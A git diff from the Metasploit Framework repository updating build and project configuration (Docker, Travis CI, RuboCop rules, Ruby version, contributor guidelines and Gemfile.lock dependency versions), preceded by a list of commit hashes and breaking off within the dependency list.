| d28b023058 | |||
| 7a87e11767 | |||
| b7184e87c0 | |||
| 8d50c34e4b | |||
| fa98fe4fe6 | |||
| 0e6843eae1 | |||
| 3092ad9ea0 | |||
| 34d119be04 | |||
| 56e95f15c9 | |||
| 37e06839f8 | |||
| d0a1fb6019 | |||
| d9e0d891a1 | |||
| 7535fe255f | |||
| e7aa06c1c4 | |||
| f996597bcf | |||
| 124a1531f4 | |||
| 4acef04e0d | |||
| 752d21e11c | |||
| 9afdde2938 | |||
| 63e3892392 | |||
| 78e262eabd | |||
| 36610b185b | |||
| 7fe750422e | |||
| 770547269b | |||
| c701a53def | |||
| 7292ee24a2 | |||
| 4a745bd2cc | |||
| 9d2e8b1e4d | |||
| 809d0f79a1 | |||
| b7e209a5f3 | |||
| e4d99a14b6 | |||
| 4729c885f1 | |||
| d0ebfa1950 | |||
| 825ad940e6 | |||
| 482ce005fd | |||
| 7400082fdb | |||
| 110f3c9b4a | |||
| 89f508a500 | |||
| e534d3cdc8 | |||
| 10dafdcb12 | |||
| 5b9a4d73ee | |||
| 403b5e2fa8 | |||
| 949633e816 | |||
| ae785f9a08 | |||
| 9ff6efd3a3 | |||
| c5cc2f89a0 | |||
| fc66683502 | |||
| e3326e1649 | |||
| 701d628a1b | |||
| f2f48cbc8f | |||
| a676f600d6 | |||
| 8a49a639a0 | |||
| 7fc9be846a | |||
| b9bed5af95 | |||
| 9941097a5c | |||
| e8d0f2dde0 | |||
| 8af2e5a7ee | |||
| 6de986bd70 | |||
| 9ae8bdda1c | |||
| 0723477b49 | |||
| 1ec968192b | |||
| e0fee9e317 | |||
| 32104eb90e | |||
| e5a3441c98 | |||
| 5c0bb26060 | |||
| de017eed3c | |||
| 9b75ef7c36 | |||
| daedf0d904 | |||
| 6cc5324e5b | |||
| f973ff13b6 | |||
| 3a1a437ac7 | |||
| 40c58e3017 | |||
| cc98e80002 | |||
| 26108f5ac9 | |||
| 2295146dcd | |||
| 254602174f | |||
| 7ea14e8431 | |||
| 997b831b52 | |||
| a47536bb1b | |||
| f777e2ab3b | |||
| 51c1cddb5c | |||
| e39b7fd859 | |||
| 3068fb6e7e | |||
| 81406a073e | |||
| 41e3895424 | |||
| 0649d0d356 | |||
| 579342c4f6 | |||
| 66d6ac418a | |||
| 0d31c1c9a8 | |||
| 71f13db918 | |||
| 0408979e54 | |||
| cad36ee14e | |||
| ea751dde4c | |||
| 968ae8e267 | |||
| ec51ab2547 | |||
| b10d6b8b63 | |||
| 98ae054b06 | |||
| d234409d40 | |||
| 64dca2dd59 | |||
| 7924667e51 | |||
| 62ee4ed708 | |||
| 1ee590ac07 | |||
| 273d49bffd | |||
| e6c4a87bda | |||
| 4d1e51a0ff | |||
| 7c1f965973 | |||
| ccc2636fd4 | |||
| d73e95e7db | |||
| 48188e999e | |||
| 9528f279a5 | |||
| e4f79879ba | |||
| e8eeb784e4 | |||
| 8de6fa79c1 | |||
| d56fffcadf | |||
| f1be6b720b | |||
| 8853193542 | |||
| 68fa3d45f3 | |||
| 62aac450f8 | |||
| 4ea8f639a3 | |||
| 669b6771e3 | |||
| a71edb33be | |||
| ddbff6ba3c | |||
| 36fc01d375 | |||
| 3d543b75f5 | |||
| 9b12b2a627 | |||
| 29f65e3dce | |||
| 721277d39d | |||
| 1031d7960a | |||
| 5a62e779aa | |||
| faeffc365b | |||
| ee969ae8e5 | |||
| d8ee4150e6 | |||
| 5b579baa33 | |||
| 0e15b2d002 | |||
| c584592a4b | |||
| c953842c96 | |||
| 7d07f7054d | |||
| d07fe2f1e7 | |||
| 08dea910e1 | |||
| c90f885938 | |||
| 271bd4c4fe | |||
| 6985469009 | |||
| d967ce4523 | |||
| 2c040d932c | |||
| 831b148ac6 | |||
| d5362333e2 | |||
| 6f5eb5a18f | |||
| b2f5bd16e6 | |||
| e651bc1205 | |||
| 7578913058 | |||
| 4e81a68108 | |||
| e88b766276 | |||
| 646dda7958 | |||
| 9b5350ff9c | |||
| e3deaadcc7 | |||
| c77cb51d64 | |||
| a992a3c427 | |||
| 200a1b400a | |||
| 3034930556 | |||
| a1583de055 | |||
| 30f833f684 | |||
| 52385f4d9e | |||
| b8c40a9d95 | |||
| 3c204f91ef | |||
| 65f2ee9109 | |||
| 7db506887b | |||
| eb0d174987 | |||
| 9afb09813f | |||
| a07f7c9f42 | |||
| 27a517e0f6 | |||
| a7a17c677c | |||
| 86726978ed | |||
| 1c44406e94 | |||
| 363d3c28d7 | |||
| e4465c9350 | |||
| b218cc3c7f | |||
| 363e11850b | |||
| ad9329993d | |||
| 7b87915e1f | |||
| 5ae708081d | |||
| a58552daad | |||
| 5f66b7eb1a | |||
| cfbd3c1615 | |||
| c3fa30707d | |||
| ba880d1a85 | |||
| 2966fb7c8c | |||
| fc52ef9941 | |||
| ddfa1d722b | |||
| 8d60fdf9e7 | |||
| 861f4a6201 | |||
| 47adfb9956 | |||
| 4ec72d7091 | |||
| 7339658ba9 | |||
| 8138396ab5 | |||
| 6289cc0b70 | |||
| 0910c482a9 | |||
| faa84faf25 | |||
| f8f363c5c9 | |||
| 8f864c27e3 | |||
| 54a62976f8 | |||
| 6b0b2550ec | |||
| 978fdb07b0 | |||
| c91ef1f092 | |||
| f5a73f3efe | |||
| 2ebf53b647 | |||
| 2a884af022 | |||
| d38ee0f1ee | |||
| 35ecc822f1 | |||
| bead7374de | |||
| 00c593e0a2 | |||
| a9a307540f | |||
| 8f1e353b6e | |||
| a0181a4d54 | |||
| c15968e0d3 | |||
| 7e9d0b3e9b | |||
| c67e407c9c | |||
| a304df265c | |||
| accb77d268 | |||
| ee9e4275d5 | |||
| 50c168415c | |||
| 65d17784d4 | |||
| eeb51447af | |||
| b9fdca04a1 | |||
| c365db135a | |||
| 9877a61eff | |||
| b38a962c09 | |||
| 7a2a47586b | |||
| 5294722b96 | |||
| dfba42e2c1 | |||
| 4ec87985a2 | |||
| c8b8ef03bd | |||
| bfdea35aca | |||
| 75270af9e7 | |||
| 8b8e5e4cb5 | |||
| d525b015f0 | |||
| 558d007d8e | |||
| f004e6f0f2 | |||
| 7acd772c10 | |||
| fdc9864b61 | |||
| e3de01219a | |||
| abc80655b7 | |||
| 816e78b6f6 | |||
| 5d009c8d0b | |||
| 048316864c | |||
| 97d08e0da4 | |||
| 637b83a0ea | |||
| d71f7876b8 | |||
| 36bbe00ea1 | |||
| 96f7012fe7 | |||
| b884705a93 | |||
| e7b4cb71b1 | |||
| bcec8c8eab | |||
| bc02df16b3 | |||
| e83e4d0a7e | |||
| be66ed8af3 | |||
| 44fb059cea | |||
| 33e1777bab | |||
| b0dc44fb86 | |||
| 636d1a5fcb | |||
| d05c401866 | |||
| fde68acc0e | |||
| fdf7149438 | |||
| 6051a1a1c1 | |||
| 055e88d261 | |||
| 92f5290a50 | |||
| bcfab11ca9 | |||
| 7c14a3d370 | |||
| 86db2a5771 | |||
| 8a045e65aa | |||
| 642a13e820 | |||
| 3c1abe6437 | |||
| 1a735c48b4 | |||
| 86ee77ffb0 | |||
| 195c1e041f | |||
| ffbf21cb1c | |||
| 7b71f60ea1 | |||
| 26f4fa3b09 | |||
| a2396991f0 | |||
| 6dbe00158f | |||
| 49173818fd | |||
| 2bbba9c500 | |||
| eec5d2ada9 | |||
| 3b745bd17c | |||
| 9387a765e5 | |||
| 52c8fff3cb | |||
| 42ab00fd2c | |||
| 4934023fa5 | |||
| d53f10554d | |||
| d0ff2694b3 | |||
| aee44e3bd2 | |||
| 7cfb5fcc97 | |||
| 8b67b710fa | |||
| 202c936868 | |||
| 8928197584 | |||
| 46eeb1bee0 | |||
| d5124fdc94 | |||
| e1b38ac3a3 | |||
| 5631ddc246 | |||
| 39299c0fb8 | |||
| c9e32fbb18 | |||
| fbb0f206fb | |||
| b0c1bfaeb7 | |||
| a40429158f | |||
| 847407f1dd | |||
| 0e1bafb2d1 | |||
| a0131f450e | |||
| cc33b29f0d | |||
| b2fc0e55de | |||
| 06fc5c8a3e | |||
| 3d489a516c | |||
| dafd7885e1 | |||
| 928d632042 | |||
| f7071818b1 | |||
| 368e37428e | |||
| d6ed1f6f8d | |||
| 3bdb572e01 | |||
| 4b272f309b | |||
| 3e5869e918 | |||
| 8fdcc142c7 | |||
| a0e04760b5 | |||
| d50c7d7f5c | |||
| 1e8edb377f | |||
| d23edf5cd1 | |||
| 582b2e238e | |||
| 15ec40f5c6 | |||
| b42a0759ce | |||
| 406cbd0985 | |||
| ef6c20ce51 | |||
| 598151c194 | |||
| bd7ea1f90d | |||
| 5bf1d916bc | |||
| f785fe63ad | |||
| 2e9d7cdf0a | |||
| 7dfde651ea | |||
| a8067070f2 | |||
| 924c3de9f3 | |||
| f9a2c3406f | |||
| 3420633f29 | |||
| b797e96a19 | |||
| 779b25bdf6 | |||
| 682851ac59 | |||
| 801e3e2d68 | |||
| abaf80f3df | |||
| 8f05f7eeb6 | |||
| 32a4436ecd | |||
| e4fc307ebb | |||
| 7b18c17445 | |||
| 2969da3d70 | |||
| be2739d335 | |||
| 29c48f9d8d | |||
| e3a9ddfc22 | |||
| 33f2ebc2aa | |||
| 58e332cc7c | |||
| 0d17e94f54 | |||
| cde319a5ec | |||
| b529c3551c | |||
| 3fcd248d3a | |||
| 5b7785438f | |||
| 6eae3b3d4e | |||
| 6ac8ed490b | |||
| b4055a8071 | |||
| 55db70ec3e | |||
| 27822c2ccf | |||
| 25764397ba | |||
| 7881a7ddc4 | |||
| 437fe4b63a | |||
| de02b52c8e | |||
| 1a9a942c1f | |||
| 2383afd8dc | |||
| b78cb12546 | |||
| 234a95af78 | |||
| adbeab81da | |||
| 055d64d32b | |||
| 60c3882b84 | |||
| 5c8a90a7be | |||
| 99546330f1 | |||
| c336daec8d | |||
| 85f48b96bb | |||
| d7d64286e2 | |||
| 6a20e1ac7d | |||
| 4845b4b1fa | |||
| 2e87a3d3f8 | |||
| 30664924c8 | |||
| dd0c78484a | |||
| 853ae9a6ce | |||
| cd418559bc | |||
| d66e8062e7 | |||
| fe5c6dc28f | |||
| 6c22f785e9 | |||
| e787d43344 | |||
| c187f709dc | |||
| 00a817d228 | |||
| f3f96babb9 | |||
| 219987726f | |||
| 5ca523e2ce | |||
| af0a9c2f86 | |||
| 99ba645034 | |||
| 33a06faadb | |||
| 1a3fe02db1 | |||
| e52e9c147d | |||
| f259682f12 | |||
| e20169c428 | |||
| 668aa4edaf | |||
| 4f6eab102f | |||
| 1bd7a0ea2a | |||
| cf8cf564b2 | |||
| 23831e6df9 | |||
| 4278339869 | |||
| 71fde14b6c | |||
| f557aa3c9c | |||
| 6a3fc618a4 | |||
| 4e3d5fa8a3 | |||
| a8983c831d | |||
| afe801b9e8 | |||
| 073cd59cd3 | |||
| 67086966ac | |||
| 8ce10ac591 | |||
| d5fd620fbb | |||
| c4c133dff8 | |||
| 066df5f1a9 | |||
| bd96380d19 | |||
| c699c7c506 | |||
| 143a4af73d |
+2
-1
@@ -4,6 +4,7 @@
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
@@ -34,7 +35,7 @@ config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
coverage/
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
|
||||
@@ -88,6 +88,7 @@ data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# local docker compose overrides
|
||||
docker-compose.local*
|
||||
.env
|
||||
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
@@ -30,6 +31,7 @@ lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
|
||||
+20
-3
@@ -17,6 +17,10 @@ Metrics/ClassLength:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
Description: 'Forced nesting is harmful for grepping and general code comprehension'
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
@@ -29,6 +33,10 @@ Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
@@ -37,6 +45,10 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
@@ -92,9 +104,10 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
Description: 'Until module template are final, most modules will fail this.'
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
@@ -104,6 +117,10 @@ Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.4.1
|
||||
2.5.1
|
||||
|
||||
+13
-6
@@ -11,9 +11,9 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.2'
|
||||
- '2.3.4'
|
||||
- '2.4.1'
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
@@ -21,9 +21,15 @@ env:
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
|
||||
jobs:
|
||||
# build docker image
|
||||
include:
|
||||
- rvm: ruby-head
|
||||
env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build"
|
||||
- env: CMD="docker-compose build" DOCKER="true"
|
||||
# we do not need any setup
|
||||
before_install: skip
|
||||
install: skip
|
||||
before_script: skip
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
@@ -42,7 +48,8 @@ before_script:
|
||||
- git diff --exit-code db/schema.rb
|
||||
script:
|
||||
- echo "${CMD}"
|
||||
- bash -c "${CMD}"
|
||||
# we need travis_wait because the Docker build job can take longer than 10 minutes
|
||||
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
--exclude samples/
|
||||
--exclude \.ut\.rb/
|
||||
--exclude \.ts\.rb/
|
||||
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
|
||||
--files CONTRIBUTING.md,COPYING,LICENSE
|
||||
app/**/*.rb
|
||||
lib/msf/**/*.rb
|
||||
lib/metasploit/**/*.rb
|
||||
|
||||
+10
-5
@@ -36,8 +36,13 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
@@ -45,8 +50,8 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description
|
||||
* **Do** write [release notes] once a pull request is landed
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Do** write [release notes] once a pull request is landed.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
@@ -58,8 +63,8 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2017, Rapid7, Inc.
|
||||
Copyright (C) 2006-2018, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
||||
@@ -1,30 +1,36 @@
|
||||
FROM ruby:2.4.1-alpine
|
||||
MAINTAINER Rapid7
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV MSF_USER msf
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* m* Rakefile $APP_HOME
|
||||
COPY lib $APP_HOME/lib
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
|
||||
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
openssl-dev \
|
||||
libressl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
@@ -36,22 +42,22 @@ RUN apk update && \
|
||||
ncurses-dev \
|
||||
git \
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --system $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
# fix for robots gem not readable (known bug)
|
||||
# https://github.com/rapid7/metasploit-framework/issues/6068
|
||||
RUN chmod o+r /usr/local/bundle/gems/robots-*/lib/robots.rb
|
||||
|
||||
RUN adduser -g msfconsole -D $MSF_USER
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip /usr/bin/nmap
|
||||
|
||||
USER $MSF_USER
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
@@ -19,8 +19,8 @@ group :development do
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
# Disabled for now for crypttlv updates
|
||||
# gem 'metasploit-aggregator'
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
|
||||
+105
-105
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.2)
|
||||
metasploit-framework (4.16.56)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -10,16 +10,18 @@ PATH
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
dnsruby
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.1)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.2.0)
|
||||
metasploit-payloads (= 1.3.34)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.3.8)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
@@ -36,8 +38,6 @@ PATH
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline
|
||||
rbnacl (< 5.0.0)
|
||||
rbnacl-libsodium
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@@ -49,7 +49,7 @@ PATH
|
||||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell (< 0.1.73)
|
||||
rex-powershell (< 0.1.78)
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
@@ -58,8 +58,8 @@ PATH
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
ruby_smb
|
||||
ruby-macho
|
||||
ruby_smb (= 0.0.18)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
@@ -73,75 +73,80 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.2)
|
||||
actionpack (4.2.9)
|
||||
actionview (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
actionview (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
activemodel (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.9)
|
||||
activemodel (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
activerecord (4.2.10)
|
||||
activemodel (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.9)
|
||||
activesupport (4.2.10)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.5.1)
|
||||
public_suffix (~> 2.0, >= 2.0.2)
|
||||
addressable (2.5.2)
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.4.0)
|
||||
arel-helpers (2.6.1)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.8.0)
|
||||
backports (3.11.3)
|
||||
bcrypt (3.1.11)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.0)
|
||||
bindata (2.4.3)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.1)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.4)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.1.5)
|
||||
docile (1.3.0)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.8.0)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.8.0)
|
||||
factory_girl (~> 4.8.0)
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faraday (0.13.1)
|
||||
faker (1.8.7)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
fivemat (1.3.6)
|
||||
hashery (2.1.2)
|
||||
i18n (0.8.6)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
loofah (2.0.3)
|
||||
loofah (2.2.2)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.3)
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.12)
|
||||
metasploit-credential (2.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
metasploit_data_models (< 3.0.0)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
@@ -151,30 +156,31 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.1)
|
||||
metasploit_data_models (2.0.15)
|
||||
metasploit-payloads (1.3.34)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.2.0)
|
||||
method_source (0.8.2)
|
||||
mini_portile2 (2.2.0)
|
||||
minitest (5.10.3)
|
||||
msgpack (1.1.0)
|
||||
metasploit_payloads-mettle (0.3.8)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.1.0)
|
||||
network_interface (0.0.1)
|
||||
nexpose (6.1.1)
|
||||
nokogiri (1.8.0)
|
||||
mini_portile2 (~> 2.2.0)
|
||||
octokit (4.7.0)
|
||||
net-ssh (4.2.0)
|
||||
network_interface (0.0.2)
|
||||
